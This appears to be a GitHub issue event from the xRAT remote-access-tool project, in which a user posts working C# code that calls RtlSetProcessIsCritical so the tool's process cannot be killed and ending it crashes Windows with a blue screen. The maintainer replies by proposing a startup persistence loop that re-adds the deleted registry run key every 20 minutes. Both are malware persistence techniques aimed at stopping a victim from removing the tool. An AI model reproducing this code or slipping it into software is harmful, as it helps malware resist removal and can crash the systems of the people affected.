{"action":"created","issue":{"url":"https://api.github.com/repos/MaxXor/xRAT/issues/81","labels_url":"https://api.github.com/repos/MaxXor/xRAT/issues/81/labels{/name}","comments_url":"https://api.github.com/repos/MaxXor/xRAT/issues/81/comments","events_url":"https://api.github.com/repos/MaxXor/xRAT/issues/81/events","html_url":"https://github.com/MaxXor/xRAT/issues/81","id":73342860,"number":81,"title":"Persistence : Preventing users from terminating xRat process.","user":{"login":"vigneshkarthisan","id":10055336,"avatar_url":"https://avatars.githubusercontent.com/u/10055336?v=3","gravatar_id":"","url":"https://api.github.com/users/vigneshkarthisan","html_url":"https://github.com/vigneshkarthisan","followers_url":"https://api.github.com/users/vigneshkarthisan/followers","following_url":"https://api.github.com/users/vigneshkarthisan/following{/other_user}","gists_url":"https://api.github.com/users/vigneshkarthisan/gists{/gist_id}","starred_url":"https://api.github.com/users/vigneshkarthisan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vigneshkarthisan/subscriptions","organizations_url":"https://api.github.com/users/vigneshkarthisan/orgs","repos_url":"https://api.github.com/users/vigneshkarthisan/repos","events_url":"https://api.github.com/users/vigneshkarthisan/events{/privacy}","received_events_url":"https://api.github.com/users/vigneshkarthisan/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/MaxXor/xRAT/labels/enhancement","name":"enhancement","color":"84b6eb"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":12,"created_at":"2015-05-05T15:15:55Z","updated_at":"2015-05-26T11:31:47Z","closed_at":null,"body":"Just came across some website with this snippet of code. Actually it was in C++. I made use of this with PInvoke.\r\n\r\nCalling ```ProtectProcess()``` makes the process critical. A critical process cannot be terminated. When a user with admin rights terminates it, it either shows an alert \"Access Denied\" or else the system crashes causing a BSOD(Blue Screen of Death).\r\n\r\nNot sure whether this code will work with systems running Windows 8 or later, I'm on vacation. So I couldn't get a chance to test it. \r\n\r\nJust call ```RevertProtection()``` to revert back to normal.\r\n\r\n```csharp\r\npublic static class Persistence\r\n{\r\n    [DllImport(\"ntdll.dll\", SetLastError = true)]\r\n    private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);\r\n\r\n    public static void ProtectProcess()\r\n    {\r\n        System.Diagnostics.Process.EnterDebugMode();\r\n        RtlSetProcessIsCritical(1, 0, 0);\r\n    }\r\n\r\n    public static void RevertProtection()\r\n    {\r\n        RtlSetProcessIsCritical(0, 0, 0);\r\n    }\r\n}\r\n```\r\n\r\nCan be invoked from any part of code. Mr. @MaxXor  or anyone else interested, Please try this code out bcoz I don't have a PC nearby with VS2013 installed.\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/MaxXor/xRAT/issues/comments/105494430","html_url":"https://github.com/MaxXor/xRAT/issues/81#issuecomment-105494430","issue_url":"https://api.github.com/repos/MaxXor/xRAT/issues/81","id":105494430,"user":{"login":"MaxXor","id":7271470,"avatar_url":"https://avatars.githubusercontent.com/u/7271470?v=3","gravatar_id":"","url":"https://api.github.com/users/MaxXor","html_url":"https://github.com/MaxXor","followers_url":"https://api.github.com/users/MaxXor/followers","following_url":"https://api.github.com/users/MaxXor/following{/other_user}","gists_url":"https://api.github.com/users/MaxXor/gists{/gist_id}","starred_url":"https://api.github.com/users/MaxXor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MaxXor/subscriptions","organizations_url":"https://api.github.com/users/MaxXor/orgs","repos_url":"https://api.github.com/users/MaxXor/repos","events_url":"https://api.github.com/users/MaxXor/events{/privacy}","received_events_url":"https://api.github.com/users/MaxXor/received_events","type":"User","site_admin":false},"created_at":"2015-05-26T11:31:47Z","updated_at":"2015-05-26T11:31:47Z","body":"No, not with this kind of persistence. Maybe we should add a startup persistence which checks every 20min if the startup registry key has been removed and add it then again."}}